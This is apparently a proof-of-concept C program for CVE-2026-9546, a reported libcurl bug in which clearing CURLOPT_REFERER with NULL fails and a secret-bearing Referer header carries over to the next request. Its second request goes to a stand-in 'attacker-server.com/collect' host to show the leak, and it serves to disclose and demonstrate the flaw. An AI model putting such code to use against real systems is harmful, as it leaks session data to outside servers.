CVE-2026-9546 libcurl CURLOPT_REFERER清除失效导致信息泄露漏洞

#include <stdio.h> #include <curl/curl.h> // PoC for CVE-2026-9546: libcurl CURLOPT_REFERER clearing failure // This demonstrates that setting CURLOPT_REFERER to NULL fails to clear // the internal Referer state, causing it to persist in subsequent requests. int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // First request: set a sensitive Referer header curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/first-request"); curl_easy_setopt(curl, CURLOPT_REFERER, "https://internal-server.com/admin/session=ABC123SECRET"); // Perform first request - Referer is sent as expected res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // Attempt to clear the Referer header by setting it to NULL // According to documentation, this should suppress the Referer header curl_easy_setopt(curl, CURLOPT_REFERER, NULL); // Change URL to a different server (simulating attacker-controlled destination) curl_easy_setopt(curl, CURLOPT_URL, "https://attacker-server.com/collect"); // Perform second request // BUG: The Referer header from the first request is STILL sent // despite explicitly being cleared with NULL res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // The attacker server would receive: // Referer: https://internal-server.com/admin/session=ABC123SECRET // This leaks sensitive information to an unintended server curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }